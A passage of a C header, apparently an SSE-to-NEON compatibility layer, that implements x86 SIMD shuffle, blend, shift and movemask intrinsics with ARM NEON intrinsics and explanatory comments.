vget_low_f32(vreinterpretq_f32_m128(a)); float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32(vcombine_f32(a10, b32)); } FORCE_INLINE __m128 _mm_shuffle_ps_0011(__m128 a, __m128 b) { float32x2_t a11 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(a)), 1); float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); return vreinterpretq_m128_f32(vcombine_f32(a11, b00)); } FORCE_INLINE __m128 _mm_shuffle_ps_0022(__m128 a, __m128 b) { float32x2_t a22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 0); float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); return vreinterpretq_m128_f32(vcombine_f32(a22, b00)); } FORCE_INLINE __m128 _mm_shuffle_ps_2200(__m128 a, __m128 b) { float32x2_t a00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(a)), 0); float32x2_t b22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(b)), 0); return vreinterpretq_m128_f32(vcombine_f32(a00, b22)); } FORCE_INLINE __m128 _mm_shuffle_ps_3202(__m128 a, __m128 b) { float32_t a0 = vgetq_lane_f32(vreinterpretq_f32_m128(a), 0); float32x2_t a22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 0); float32x2_t a02 = vset_lane_f32(a0, a22, 1); /* TODO: use vzip ?*/ float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32(vcombine_f32(a02, b32)); } FORCE_INLINE __m128 _mm_shuffle_ps_1133(__m128 a, __m128 b) { float32x2_t a33 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 1); float32x2_t b11 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 1); return vreinterpretq_m128_f32(vcombine_f32(a33, b11)); } FORCE_INLINE __m128 _mm_shuffle_ps_2010(__m128 a, __m128 b) { float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); float32_t b2 = vgetq_lane_f32(vreinterpretq_f32_m128(b), 2); float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); float32x2_t b20 = vset_lane_f32(b2, b00, 1); return vreinterpretq_m128_f32(vcombine_f32(a10, b20)); } FORCE_INLINE __m128 _mm_shuffle_ps_2001(__m128 a, __m128 b) { float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); float32_t b2 = vgetq_lane_f32(b, 2); float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); float32x2_t b20 = vset_lane_f32(b2, b00, 1); return vreinterpretq_m128_f32(vcombine_f32(a01, b20)); } FORCE_INLINE __m128 _mm_shuffle_ps_2032(__m128 a, __m128 b) { float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); float32_t b2 = vgetq_lane_f32(b, 2); float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); float32x2_t b20 = vset_lane_f32(b2, b00, 1); return vreinterpretq_m128_f32(vcombine_f32(a32, b20)); } // NEON does not support a general purpose permute intrinsic // Selects four specific single-precision, floating-point values from a and b, // based on the mask i. // https://msdn.microsoft.com/en-us/library/vstudio/5f0858x0(v=vs.100).aspx #if 0 /* C version */ FORCE_INLINE __m128 _mm_shuffle_ps_default(__m128 a, __m128 b, __constrange(0, 255) int imm) { __m128 ret; ret[0] = a[imm & 0x3]; ret[1] = a[(imm >> 2) & 0x3]; ret[2] = b[(imm >> 4) & 0x03]; ret[3] = b[(imm >> 6) & 0x03]; return ret; } #endif #define _mm_shuffle_ps_default(a, b, imm) \ __extension__({ \ float32x4_t ret; \ ret = vmovq_n_f32( \ vgetq_lane_f32(vreinterpretq_f32_m128(a), (imm) &0x3)); \ ret = vsetq_lane_f32( \ vgetq_lane_f32(vreinterpretq_f32_m128(a), ((imm) >> 2) & 0x3), \ ret, 1); \ ret = vsetq_lane_f32( \ vgetq_lane_f32(vreinterpretq_f32_m128(b), ((imm) >> 4) & 0x3), \ ret, 2); \ ret = vsetq_lane_f32( \ vgetq_lane_f32(vreinterpretq_f32_m128(b), ((imm) >> 6) & 0x3), \ ret, 3); \ vreinterpretq_m128_f32(ret); \ }) // FORCE_INLINE __m128 _mm_shuffle_ps(__m128 a, __m128 b, __constrange(0,255) // int imm) #if defined(__clang__) #define _mm_shuffle_ps(a, b, imm) \ __extension__({ \ float32x4_t _input1 = vreinterpretq_f32_m128(a); \ float32x4_t _input2 = vreinterpretq_f32_m128(b); \ float32x4_t _shuf = \ __builtin_shufflevector(_input1, _input2, \ (imm) & 0x3, \ ((imm) >> 2) & 0x3, \ (((imm) >> 4) & 0x3) + 4, \ (((imm) >> 6) & 0x3) + 4); \ vreinterpretq_m128_f32(_shuf); \ }) #else // generic #define _mm_shuffle_ps(a, b, imm) \ __extension__({ \ __m128 ret; \ switch (imm) { \ case _MM_SHUFFLE(1, 0, 3, 2): \ ret = _mm_shuffle_ps_1032((a), (b)); \ break; \ case _MM_SHUFFLE(2, 3, 0, 1): \ ret = _mm_shuffle_ps_2301((a), (b)); \ break; \ case _MM_SHUFFLE(0, 3, 2, 1): \ ret = _mm_shuffle_ps_0321((a), (b)); \ break; \ case _MM_SHUFFLE(2, 1, 0, 3): \ ret = _mm_shuffle_ps_2103((a), (b)); \ break; \ case _MM_SHUFFLE(1, 0, 1, 0): \ ret = _mm_movelh_ps((a), (b)); \ break; \ case _MM_SHUFFLE(1, 0, 0, 1): \ ret = _mm_shuffle_ps_1001((a), (b)); \ break; \ case _MM_SHUFFLE(0, 1, 0, 1): \ ret = _mm_shuffle_ps_0101((a), (b)); \ break; \ case _MM_SHUFFLE(3, 2, 1, 0): \ ret = _mm_shuffle_ps_3210((a), (b)); \ break; \ case _MM_SHUFFLE(0, 0, 1, 1): \ ret = _mm_shuffle_ps_0011((a), (b)); \ break; \ case _MM_SHUFFLE(0, 0, 2, 2): \ ret = _mm_shuffle_ps_0022((a), (b)); \ break; \ case _MM_SHUFFLE(2, 2, 0, 0): \ ret = _mm_shuffle_ps_2200((a), (b)); \ break; \ case _MM_SHUFFLE(3, 2, 0, 2): \ ret = _mm_shuffle_ps_3202((a), (b)); \ break; \ case _MM_SHUFFLE(3, 2, 3, 2): \ ret = _mm_movehl_ps((b), (a)); \ break; \ case _MM_SHUFFLE(1, 1, 3, 3): \ ret = _mm_shuffle_ps_1133((a), (b)); \ break; \ case _MM_SHUFFLE(2, 0, 1, 0): \ ret = _mm_shuffle_ps_2010((a), (b)); \ break; \ case _MM_SHUFFLE(2, 0, 0, 1): \ ret = _mm_shuffle_ps_2001((a), (b)); \ break; \ case _MM_SHUFFLE(2, 0, 3, 2): \ ret = _mm_shuffle_ps_2032((a), (b)); \ break; \ default: \ ret = _mm_shuffle_ps_default((a), (b), (imm)); \ break; \ } \ ret; \ }) #endif // not clang // Takes the upper 64 bits of a and places it in the low end of the result // Takes the lower 64 bits of a and places it into the high end of the result. FORCE_INLINE __m128i _mm_shuffle_epi_1032(__m128i a) { int32x2_t a32 = vget_high_s32(vreinterpretq_s32_m128i(a)); int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); return vreinterpretq_m128i_s32(vcombine_s32(a32, a10)); } // takes the lower two 32-bit values from a and swaps them and places in low end // of result takes the higher two 32 bit values from a and swaps them and places // in high end of result. FORCE_INLINE __m128i _mm_shuffle_epi_2301(__m128i a) { int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); int32x2_t a23 = vrev64_s32(vget_high_s32(vreinterpretq_s32_m128i(a))); return vreinterpretq_m128i_s32(vcombine_s32(a01, a23)); } // rotates the least significant 32 bits into the most signficant 32 bits, and // shifts the rest down FORCE_INLINE __m128i _mm_shuffle_epi_0321(__m128i a) { return vreinterpretq_m128i_s32( vextq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(a), 1)); } // rotates the most significant 32 bits into the least signficant 32 bits, and // shifts the rest up FORCE_INLINE __m128i _mm_shuffle_epi_2103(__m128i a) { return vreinterpretq_m128i_s32( vextq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(a), 3)); } // gets the lower 64 bits of a, and places it in the upper 64 bits // gets the lower 64 bits of a and places it in the lower 64 bits FORCE_INLINE __m128i _mm_shuffle_epi_1010(__m128i a) { int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); return vreinterpretq_m128i_s32(vcombine_s32(a10, a10)); } // gets the lower 64 bits of a, swaps the 0 and 1 elements, and places it in the // lower 64 bits gets the lower 64 bits of a, and places it in the upper 64 bits FORCE_INLINE __m128i _mm_shuffle_epi_1001(__m128i a) { int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); int32x2_t a10 = vget_low_s32(vreinterpretq_s32_m128i(a)); return vreinterpretq_m128i_s32(vcombine_s32(a01, a10)); } // gets the lower 64 bits of a, swaps the 0 and 1 elements and places it in the // upper 64 bits gets the lower 64 bits of a, swaps the 0 and 1 elements, and // places it in the lower 64 bits FORCE_INLINE __m128i _mm_shuffle_epi_0101(__m128i a) { int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); return vreinterpretq_m128i_s32(vcombine_s32(a01, a01)); } FORCE_INLINE __m128i _mm_shuffle_epi_2211(__m128i a) { int32x2_t a11 = vdup_lane_s32(vget_low_s32(vreinterpretq_s32_m128i(a)), 1); int32x2_t a22 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 0); return vreinterpretq_m128i_s32(vcombine_s32(a11, a22)); } FORCE_INLINE __m128i _mm_shuffle_epi_0122(__m128i a) { int32x2_t a22 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 0); int32x2_t a01 = vrev64_s32(vget_low_s32(vreinterpretq_s32_m128i(a))); return vreinterpretq_m128i_s32(vcombine_s32(a22, a01)); } FORCE_INLINE __m128i _mm_shuffle_epi_3332(__m128i a) { int32x2_t a32 = vget_high_s32(vreinterpretq_s32_m128i(a)); int32x2_t a33 = vdup_lane_s32(vget_high_s32(vreinterpretq_s32_m128i(a)), 1); return vreinterpretq_m128i_s32(vcombine_s32(a32, a33)); } // Shuffle packed 8-bit integers in a according to shuffle control mask in the // corresponding 8-bit element of b, and store the results in dst. // https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_shuffle_epi8&expand=5146 FORCE_INLINE __m128i _mm_shuffle_epi8(__m128i a, __m128i b) { int8x16_t tbl = vreinterpretq_s8_m128i(a); // input a uint8x16_t idx = vreinterpretq_u8_m128i(b); // input b uint8x16_t idx_masked = vandq_u8(idx, vdupq_n_u8(0x8F)); // avoid using meaningless bits #if defined(__aarch64__) return vreinterpretq_m128i_s8(vqtbl1q_s8(tbl, idx_masked)); #elif defined(__GNUC__) int8x16_t ret; // %e and %f represent the even and odd D registers // respectively. __asm__( " vtbl.8 %e[ret], {%e[tbl], %f[tbl]}, %e[idx]\n" " vtbl.8 %f[ret], {%e[tbl], %f[tbl]}, %f[idx]\n" : [ret] "=&w" (ret) : [tbl] "w" (tbl), [idx] "w" (idx_masked)); return vreinterpretq_m128i_s8(ret); #else // use this line if testing on aarch64 int8x8x2_t a_split = { vget_low_s8(tbl), vget_high_s8(tbl) }; return vreinterpretq_m128i_s8( vcombine_s8( vtbl2_s8(a_split, vget_low_u8(idx_masked)), vtbl2_s8(a_split, vget_high_u8(idx_masked)) ) ); #endif } #if 0 /* C version */ FORCE_INLINE __m128i _mm_shuffle_epi32_default(__m128i a, __constrange(0, 255) int imm) { __m128i ret; ret[0] = a[imm & 0x3]; ret[1] = a[(imm >> 2) & 0x3]; ret[2] = a[(imm >> 4) & 0x03]; ret[3] = a[(imm >> 6) & 0x03]; return ret; } #endif #define _mm_shuffle_epi32_default(a, imm) \ __extension__({ \ int32x4_t ret; \ ret = vmovq_n_s32( \ vgetq_lane_s32(vreinterpretq_s32_m128i(a), (imm) &0x3)); \ ret = vsetq_lane_s32( \ vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 2) & 0x3), \ ret, 1); \ ret = vsetq_lane_s32( \ vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 4) & 0x3), \ ret, 2); \ ret = vsetq_lane_s32( \ vgetq_lane_s32(vreinterpretq_s32_m128i(a), ((imm) >> 6) & 0x3), \ ret, 3); \ vreinterpretq_m128i_s32(ret); \ }) // FORCE_INLINE __m128i _mm_shuffle_epi32_splat(__m128i a, __constrange(0,255) // int imm) #if defined(__aarch64__) #define _mm_shuffle_epi32_splat(a, imm) \ __extension__({ \ vreinterpretq_m128i_s32( \ vdupq_laneq_s32(vreinterpretq_s32_m128i(a), (imm))); \ }) #else #define _mm_shuffle_epi32_splat(a, imm) \ __extension__({ \ vreinterpretq_m128i_s32( \ vdupq_n_s32(vgetq_lane_s32(vreinterpretq_s32_m128i(a), (imm)))); \ }) #endif // Shuffles the 4 signed or unsigned 32-bit integers in a as specified by imm. // https://msdn.microsoft.com/en-us/library/56f67xbk%28v=vs.90%29.aspx // FORCE_INLINE __m128i _mm_shuffle_epi32(__m128i a, __constrange(0,255) int // imm) #if defined(__clang__) #define _mm_shuffle_epi32(a, imm) \ __extension__({ \ int32x4_t _input = vreinterpretq_s32_m128i(a); \ int32x4_t _shuf = \ __builtin_shufflevector(_input, _input, \ (imm) & 0x3, ((imm) >> 2) & 0x3, \ ((imm) >> 4) & 0x3, ((imm) >> 6) & 0x3); \ vreinterpretq_m128i_s32(_shuf); \ }) #else // generic #define _mm_shuffle_epi32(a, imm) \ __extension__({ \ __m128i ret; \ switch (imm) { \ case _MM_SHUFFLE(1, 0, 3, 2): \ ret = _mm_shuffle_epi_1032((a)); \ break; \ case _MM_SHUFFLE(2, 3, 0, 1): \ ret = _mm_shuffle_epi_2301((a)); \ break; \ case _MM_SHUFFLE(0, 3, 2, 1): \ ret = _mm_shuffle_epi_0321((a)); \ break; \ case _MM_SHUFFLE(2, 1, 0, 3): \ ret = _mm_shuffle_epi_2103((a)); \ break; \ case _MM_SHUFFLE(1, 0, 1, 0): \ ret = _mm_shuffle_epi_1010((a)); \ break; \ case _MM_SHUFFLE(1, 0, 0, 1): \ ret = _mm_shuffle_epi_1001((a)); \ break; \ case _MM_SHUFFLE(0, 1, 0, 1): \ ret = _mm_shuffle_epi_0101((a)); \ break; \ case _MM_SHUFFLE(2, 2, 1, 1): \ ret = _mm_shuffle_epi_2211((a)); \ break; \ case _MM_SHUFFLE(0, 1, 2, 2): \ ret = _mm_shuffle_epi_0122((a)); \ break; \ case _MM_SHUFFLE(3, 3, 3, 2): \ ret = _mm_shuffle_epi_3332((a)); \ break; \ case _MM_SHUFFLE(0, 0, 0, 0): \ ret = _mm_shuffle_epi32_splat((a), 0); \ break; \ case _MM_SHUFFLE(1, 1, 1, 1): \ ret = _mm_shuffle_epi32_splat((a), 1); \ break; \ case _MM_SHUFFLE(2, 2, 2, 2): \ ret = _mm_shuffle_epi32_splat((a), 2); \ break; \ case _MM_SHUFFLE(3, 3, 3, 3): \ ret = _mm_shuffle_epi32_splat((a), 3); \ break; \ default: \ ret = _mm_shuffle_epi32_default((a), (imm)); \ break; \ } \ ret; \ }) #endif // not clang // Shuffles the lower 4 signed or unsigned 16-bit integers in a as specified // by imm. // https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2010/y41dkk37(v=vs.100) // FORCE_INLINE __m128i _mm_shufflelo_epi16_function(__m128i a, // __constrange(0,255) int imm) #define _mm_shufflelo_epi16_function(a, imm) \ __extension__({ \ int16x8_t ret = vreinterpretq_s16_m128i(a); \ int16x4_t lowBits = vget_low_s16(ret); \ ret = vsetq_lane_s16(vget_lane_s16(lowBits, (imm) &0x3), ret, 0); \ ret = vsetq_lane_s16(vget_lane_s16(lowBits, ((imm) >> 2) & 0x3), ret, \ 1); \ ret = vsetq_lane_s16(vget_lane_s16(lowBits, ((imm) >> 4) & 0x3), ret, \ 2); \ ret = vsetq_lane_s16(vget_lane_s16(lowBits, ((imm) >> 6) & 0x3), ret, \ 3); \ vreinterpretq_m128i_s16(ret); \ }) // FORCE_INLINE __m128i _mm_shufflelo_epi16(__m128i a, __constrange(0,255) int // imm) #if defined(__clang__) #define _mm_shufflelo_epi16(a, imm) \ __extension__({ \ int16x8_t _input = vreinterpretq_s16_m128i(a); \ int16x8_t _shuf = \ __builtin_shufflevector(_input, _input, \ ((imm) & 0x3), \ (((imm) >> 2) & 0x3), \ (((imm) >> 4) & 0x3), \ (((imm) >> 6) & 0x3), \ 4, 5, 6, 7); \ vreinterpretq_m128i_s16(_shuf); \ }) #else // generic #define _mm_shufflelo_epi16(a, imm) _mm_shufflelo_epi16_function((a), (imm)) #endif // Shuffles the upper 4 signed or unsigned 16-bit integers in a as specified // by imm. // https://msdn.microsoft.com/en-us/library/13ywktbs(v=vs.100).aspx // FORCE_INLINE __m128i _mm_shufflehi_epi16_function(__m128i a, // __constrange(0,255) int imm) #define _mm_shufflehi_epi16_function(a, imm) \ __extension__({ \ int16x8_t ret = vreinterpretq_s16_m128i(a); \ int16x4_t highBits = vget_high_s16(ret); \ ret = vsetq_lane_s16(vget_lane_s16(highBits, (imm) &0x3), ret, 4); \ ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 2) & 0x3), ret, \ 5); \ ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 4) & 0x3), ret, \ 6); \ ret = vsetq_lane_s16(vget_lane_s16(highBits, ((imm) >> 6) & 0x3), ret, \ 7); \ vreinterpretq_m128i_s16(ret); \ }) // FORCE_INLINE __m128i _mm_shufflehi_epi16(__m128i a, __constrange(0,255) int // imm) #if defined(__clang__) #define _mm_shufflehi_epi16(a, imm) \ __extension__({ \ int16x8_t _input = vreinterpretq_s16_m128i(a); \ int16x8_t _shuf = \ __builtin_shufflevector(_input, _input, \ 0, 1, 2, 3, \ ((imm) & 0x3) + 4, \ (((imm) >> 2) & 0x3) + 4, \ (((imm) >> 4) & 0x3) + 4, \ (((imm) >> 6) & 0x3) + 4); \ vreinterpretq_m128i_s16(_shuf); \ }) #else // generic #define _mm_shufflehi_epi16(a, imm) _mm_shufflehi_epi16_function((a), (imm)) #endif // Blend packed 16-bit integers from a and b using control mask imm8, and store // the results in dst. // // FOR j := 0 to 7 // i := j*16 // IF imm8[j] // dst[i+15:i] := b[i+15:i] // ELSE // dst[i+15:i] := a[i+15:i] // FI // ENDFOR // FORCE_INLINE __m128i _mm_blend_epi16(__m128i a, __m128i b, __constrange(0,255) // int imm) #define _mm_blend_epi16(a, b, imm) \ __extension__({ \ const uint16_t _mask[8] = { \ ((imm) & (1 << 0)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 1)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 2)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 3)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 4)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 5)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 6)) ? 0xFFFF : 0x0000, \ ((imm) & (1 << 7)) ? 0xFFFF : 0x0000 \ }; \ uint16x8_t _mask_vec = vld1q_u16(_mask); \ uint16x8_t _a = vreinterpretq_u16_m128i(a); \ uint16x8_t _b = vreinterpretq_u16_m128i(b); \ vreinterpretq_m128i_u16(vbslq_u16(_mask_vec, _b, _a)); \ }) // Blend packed 8-bit integers from a and b using mask, and store the results in dst. // // FOR j := 0 to 15 // i := j*8 // IF mask[i+7] // dst[i+7:i] := b[i+7:i] // ELSE // dst[i+7:i] := a[i+7:i] // FI // ENDFOR FORCE_INLINE __m128i _mm_blendv_epi8(__m128i _a, __m128i _b, __m128i _mask) { // Use a signed shift right to create a mask with the sign bit uint8x16_t mask = vreinterpretq_u8_s8(vshrq_n_s8(vreinterpretq_s8_m128i(_mask), 7)); uint8x16_t a = vreinterpretq_u8_m128i(_a); uint8x16_t b = vreinterpretq_u8_m128i(_b); return vreinterpretq_m128i_u8(vbslq_u8(mask, b, a)); } ///////////////////////////////////// // Shifts ///////////////////////////////////// // Shifts the 4 signed 32-bit integers in a right by count bits while shifting // in the sign bit. // // r0 := a0 >> count // r1 := a1 >> count // r2 := a2 >> count // r3 := a3 >> count immediate FORCE_INLINE __m128i _mm_srai_epi32(__m128i a, int count) { return (__m128i) vshlq_s32((int32x4_t) a, vdupq_n_s32(-count)); } // Shifts the 8 signed 16-bit integers in a right by count bits while shifting // in the sign bit. // // r0 := a0 >> count // r1 := a1 >> count // ... // r7 := a7 >> count FORCE_INLINE __m128i _mm_srai_epi16(__m128i a, int count) { return (__m128i) vshlq_s16((int16x8_t) a, vdupq_n_s16(-count)); } // Shifts the 8 signed or unsigned 16-bit integers in a left by count bits while // shifting in zeros. // // r0 := a0 << count // r1 := a1 << count // ... // r7 := a7 << count // // https://msdn.microsoft.com/en-us/library/es73bcsy(v=vs.90).aspx #define _mm_slli_epi16(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 31) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_s16( \ vshlq_n_s16(vreinterpretq_s16_m128i(a), (imm))); \ } \ ret; \ }) // Shifts the 4 signed or unsigned 32-bit integers in a left by count bits while // shifting in zeros. : // https://msdn.microsoft.com/en-us/library/z2k3bbtb%28v=vs.90%29.aspx // FORCE_INLINE __m128i _mm_slli_epi32(__m128i a, __constrange(0,255) int imm) #define _mm_slli_epi32(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 31) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_s32( \ vshlq_n_s32(vreinterpretq_s32_m128i(a), (imm))); \ } \ ret; \ }) // Shift packed 64-bit integers in a left by imm8 while shifting in zeros, and // store the results in dst. #define _mm_slli_epi64(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 63) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_s64( \ vshlq_n_s64(vreinterpretq_s64_m128i(a), (imm))); \ } \ ret; \ }) // Shifts the 8 signed or unsigned 16-bit integers in a right by count bits // while shifting in zeros. // // r0 := srl(a0, count) // r1 := srl(a1, count) // ... // r7 := srl(a7, count) // // https://msdn.microsoft.com/en-us/library/6tcwd38t(v=vs.90).aspx #define _mm_srli_epi16(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 31) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_u16( \ vshrq_n_u16(vreinterpretq_u16_m128i(a), (imm))); \ } \ ret; \ }) // Shifts the 4 signed or unsigned 32-bit integers in a right by count bits // while shifting in zeros. // https://msdn.microsoft.com/en-us/library/w486zcfa(v=vs.100).aspx FORCE_INLINE // __m128i _mm_srli_epi32(__m128i a, __constrange(0,255) int imm) #define _mm_srli_epi32(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 31) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_u32( \ vshrq_n_u32(vreinterpretq_u32_m128i(a), (imm))); \ } \ ret; \ }) // Shift packed 64-bit integers in a right by imm8 while shifting in zeros, and // store the results in dst. #define _mm_srli_epi64(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 63) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_u64( \ vshrq_n_u64(vreinterpretq_u64_m128i(a), (imm))); \ } \ ret; \ }) // Shifts the 4 signed 32 - bit integers in a right by count bits while shifting // in the sign bit. // https://msdn.microsoft.com/en-us/library/z1939387(v=vs.100).aspx // FORCE_INLINE __m128i _mm_srai_epi32(__m128i a, __constrange(0,255) int imm) #define _mm_srai_epi32(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 31) { \ ret = vreinterpretq_m128i_s32( \ vshrq_n_s32(vreinterpretq_s32_m128i(a), 16)); \ ret = vreinterpretq_m128i_s32( \ vshrq_n_s32(vreinterpretq_s32_m128i(ret), 16)); \ } else { \ ret = vreinterpretq_m128i_s32( \ vshrq_n_s32(vreinterpretq_s32_m128i(a), (imm))); \ } \ ret; \ }) // Shifts the 128 - bit value in a right by imm bytes while shifting in // zeros.imm must be an immediate. // // r := srl(a, imm*8) // // https://msdn.microsoft.com/en-us/library/305w28yz(v=vs.100).aspx // FORCE_INLINE _mm_srli_si128(__m128i a, __constrange(0,255) int imm) #define _mm_srli_si128(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 15) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_s8( \ vextq_s8(vreinterpretq_s8_m128i(a), vdupq_n_s8(0), (imm))); \ } \ ret; \ }) // Shifts the 128-bit value in a left by imm bytes while shifting in zeros. imm // must be an immediate. // // r := a << (imm * 8) // // https://msdn.microsoft.com/en-us/library/34d3k2kt(v=vs.100).aspx // FORCE_INLINE __m128i _mm_slli_si128(__m128i a, __constrange(0,255) int imm) #define _mm_slli_si128(a, imm) \ __extension__({ \ __m128i ret; \ if ((imm) <= 0) { \ ret = a; \ } else if ((imm) > 15) { \ ret = _mm_setzero_si128(); \ } else { \ ret = vreinterpretq_m128i_s8(vextq_s8( \ vdupq_n_s8(0), vreinterpretq_s8_m128i(a), 16 - (imm))); \ } \ ret; \ }) // Shifts the 8 signed or unsigned 16-bit integers in a left by count bits while // shifting in zeros. // // r0 := a0 << count // r1 := a1 << count // ... // r7 := a7 << count // // https://msdn.microsoft.com/en-us/library/c79w388h(v%3dvs.90).aspx FORCE_INLINE __m128i _mm_sll_epi16(__m128i a, __m128i count) { uint64_t c = ((SIMDVec *) &count)->m128_u64[0]; if (c > 15) return _mm_setzero_si128(); int16x8_t vc = vdupq_n_s16((int16_t) c); return vreinterpretq_m128i_s16(vshlq_s16(vreinterpretq_s16_m128i(a), vc)); } // NEON does not provide a version of this function. // Creates a 16-bit mask from the most significant bits of the 16 signed or // unsigned 8-bit integers in a and zero extends the upper bits. // https://msdn.microsoft.com/en-us/library/vstudio/s090c8fk(v=vs.100).aspx FORCE_INLINE int _mm_movemask_epi8(__m128i a) { // Use increasingly wide shifts+adds to collect the sign bits // together. // Since the widening shifts would be rather confusing to follow in little endian, everything // will be illustrated in big endian order instead. This has a different result - the bits // would actually be reversed on a big endian machine. // Starting input (only half the elements are shown): // 89 ff 1d c0 00 10 99 33 uint8x16_t input = vreinterpretq_u8_m128i(a); // Shift out everything but the sign bits with an unsigned shift right. // // Bytes of the vector:: // 89 ff 1d c0 00 10 99 33 // \ \ \ \ \ \ \ \ high_bits = (uint16x4_t)(input >> 7) // | | | | | | | | // 01 01 00 01 00 00 01 00 // // Bits of first important lane(s): // 10001001 (89) // \______ // | // 00000001 (01) uint16x8_t high_bits = vreinterpretq_u16_u8(vshrq_n_u8(input, 7)); // Merge the even lanes together with a 16-bit unsigned shift right + add. // 'xx' represents garbage data which will be ignored in the final result. // In the important bytes, the add functions like a binary OR. // // 01 01 00 01 00 00 01 00 // \_ | \_ | \_ | \_ | paired16 = (uint32x4_t)(input + (input >> 7)) // \| \| \| \| // xx 03 xx 01 xx 00 xx 02 // // 00000001 00000001 (01 01) // \_______ | // \| // xxxxxxxx xxxxxx11 (xx 03) uint32x4_t paired16 = vreinterpretq_u32_u16(vsraq_n_u16(high_bits, high_bits, 7)); // Repeat with a wider 32-bit shift + add. // xx 03 xx 01 xx 00 xx 02 // \____ | \____ | paired32 = (uint64x1_t)(paired16 + (paired16 >> 14)) // \| \| // xx xx xx 0d xx xx xx 02 // // 00000011 00000001 (03 01) // \\_____ || // '----.\|| // xxxxxxxx xxxx1101 (xx 0d) uint64x2_t paired32 = vreinterpretq_u64_u32(vsraq_n_u32(paired16, paired16, 14)); // Last, an even wider 64-bit shift + add to get our result in the low 8 bit lanes. // xx xx xx 0d xx xx xx 02 // \_________ | paired64 = (uint8x8_t)(paired32 + (paired32 >> 28)) // \| // xx xx xx xx xx xx xx d2 // // 00001101 00000010 (0d 02) // \ \___ | | // '---. \| | // xxxxxxxx 11010010 (xx d2) uint8x16_t paired64 = vreinterpretq_u8_u64(vsraq_n_u64(paired32, paired32, 28)); // Extract the low 8 bits from each 64-bit lane with 2 8-bit extracts. // xx xx xx xx xx xx xx d2 // || return paired64[0] // d2 // Note: Little endian would return the correct value 4b (01001011) instead. return vgetq_lane_u8(paired64, 0) | ((int)vgetq_lane_u8(paired64, 8) << 8); } // NEON does not provide this method // Creates a 4-bit mask from the most significant bits of the four // single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/vstudio/4490ys29(v=vs.100).aspx FORCE_INLINE int _mm_movemask_ps(__m128 a) { // Uses the exact same method as _mm_movemask_epi8, see that for details uint32x4_t input = vreinterpretq_u32_m128(a); // Shift out everything but the sign bits with a 32-bit unsigned shift right. uint64x2_t high_bits = vreinterpretq_u64_u32(vshrq_n_u32(input, 31)); // Merge the two pairs together with a 64-bit unsigned shift right + add. uint8x16_t paired = vreinterpretq_u8_u64(vsraq_n_u64(high_bits, high_bits, 31)); // Extract the result. return vgetq_lane_u8(paired, 0) | (vgetq_lane_u8(paired, 8) << 2); } // Compute the bitwise AND of 128 bits (representing integer 